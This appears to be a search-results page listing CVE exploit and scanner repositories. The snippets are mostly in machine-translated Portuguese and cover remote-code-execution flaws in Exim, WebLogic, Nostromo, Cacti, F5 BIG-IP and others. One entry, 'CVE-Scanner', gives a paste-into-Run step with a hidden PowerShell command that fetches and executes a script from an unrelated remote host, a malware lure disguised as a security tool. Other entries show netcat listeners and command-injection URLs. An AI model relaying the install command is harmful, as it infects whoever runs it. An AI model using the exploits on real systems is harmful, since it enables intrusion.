186859 matches found
CVE-2012-1823-exploit-for-https-user-password-web
CVE-2012-1823 arquivo é exploit uso : python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py arquivo descobre se o site é vulnerável para CVE-2012-1823 ou CVE-2021-2291 uso : python3 CVE-2012-1823,CVE-2021-2291.py comando whoami cd ls testado no kali linux...
CVE-2019-10149
CVE-2019-10149 CVE-2019-10149 : Foi encontrada uma falha nas versões 4.87 a 4.91 do Exim inclusive. A validação inadequada do endereço do destinatário na função delivermessage em /src/deliver.c pode levar à execução remota de comandos. Exemplo nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rho...
CVE-2020-14882
CVE-2020-14882 Este script permite a execução remota de código RCE no Oracle WebLogic Server usando uma requisição GET não autenticada. Ele explora a vulnerabilidade CVE-2020-14882. Ao executar comandos arbitrários, um atacante pode obter acesso não autorizado ao servidor. Detalhes do Exploit...
PIL-CVE-2017-8291
Execução Remota de Comandos no Python PIL/Pillow GhostButt / CVE-2017-8291 中文版本Versão chinesa O Python PIL Pillow é uma biblioteca popular de processamento de imagens para Python. Ela suporta vários formatos de imagem e fornece poderosas capacidades de manipulação de imagens. O módulo de...
CVE-Scanner
CVE-Scanner ماسح ومستغل CVE-2021-42287/CVE-2021-42278/OTHER. التثبيت 1. اضغط على WIN + R 2. انسخ والصق الكود أدناه ثم اضغط Enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. أعد تشغيل جهاز الكمبيوتر الخاص بك الاستخدام 1...
CVE-2025-53547-POC
CVE-2025-53547 POC Este é um PoC para a CVE-2025-53547 O Chart.lock vincula o arquivo de teste a /tmp/1.txt /tmp/1.txt injeta um comando que cria /tmp/2.txt Em um ambiente de produto real, você pode alterar o arquivo de link Chart.lock para injetar qualquer comando que desejar, como: /root/.bashr...
CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
POC Repositório: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 Descrição Este repositório contém um exploit em Python para CVE-2019-16278 , uma vulnerabilidade no Nostromo 1.9.6 um servidor web. A vulnerabilidade permite Execução Remota de Código RCE ao...
React2shell-ultimate-scanner
CVE-2025-55182 Scanner Avançado 🚀 Um scanner de segurança profissional e automatizado para detectar e validar CVE-2025-55182 , uma vulnerabilidade crítica que afeta Next.js React Server Components. Projetado para pesquisadores de segurança, testadores de penetração e caçadores de bug bounty que...
CVE-2019-9193-Postgresql-RCE
uso: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD exemplo: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' exemplo 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' saída: + Conectando ao banco de dados PostgreSQL em...
CVE-2025-25706
CVE-2025-25706 Item de Descrição: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Tipo de Vulnerabilidade: Execução Remota de...
Rust_CVE-2025-55182
Ferramenta de Exploração da CVE-2025-55182 Versão Rust Visão Geral do Projeto Este projeto é uma ferramenta de pesquisa de segurança desenvolvida em Rust, direcionada à vulnerabilidade de execução remota de código RCE presente no [email protected]. A vulnerabilidade permite que um atacante...
CVE-2020-10199_POC-EXP
प्रभावित संस्करण + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version username...
CVE-2007-2447
CVE-2007-2447 PoC: Samba "usermap script" execução remota de comandos CVE histórico. Este repositório contém um pequeno script de prova de conceito para pesquisa e revisão educacional. O script principal é usermapscriptCommandExecution.py. Artigo de referência:...
Gitlab-CVE-2021-22205
Gitlab-CVE-2021-22205 Script de detecção em lote multithread para CVE-2021-22205 Pode usar dnslog em conjunto com poc para detecção Usa multithreading para detecção Execução de comandos personalizável...
cve-2023-46747
Script de Exploração CVE-2023-46747 Este script explora a vulnerabilidade de execução remota de código no F5 BIG-IP TMUI CVE-2023-46747. Ele permite que um atacante não autenticado execute comandos arbitrários em um sistema F5 BIG-IP vulnerável. Índice Funcionalidades Requisitos Uso Parâmetros Co...
poc-proxycommand-vulnerable
RCE via /.ssh/config inseguro O uso de tokens como %h, %p no ProxyCommand é bastante popular para usar túneis e proxy de conexão usando SSH. Configuração vulnerável host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: na minha avaliação inicial, eu tinha a impressão...
CVE-2023-46805
Scanner CVE-2023-46805 Scanner CVE-2023-46805 para dispositivos Ivanti Connect Secure possivelmente vulneráveis por país usando Shodan. Versão do script: 1.3 Atualizado com a recente postagem no blog feita por Assetnote ⚠️ Este script é para fins defensivos e deve ser usado por profissionais de...
CVE-2023-45158
CVE-2023-45158 Passos 1. Execute o servidor web cd web2py python3 web2py.py 2. Injete seu comando usando a URL http://:8000/hack?msg=%27%3B%3B%27. Substitua e pelos seus valores. Exemplos 1. Crie um arquivo no servidor http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Shell reverso Na máquina do...
CVE-2022-46169
CVE 2022-46169 Este script explora uma vulnerabilidade de injeção de comandos não autenticada no Cacti até a versão 1.2.22, a fim de obter execução remota de código não autenticada e obter uma shell reversa...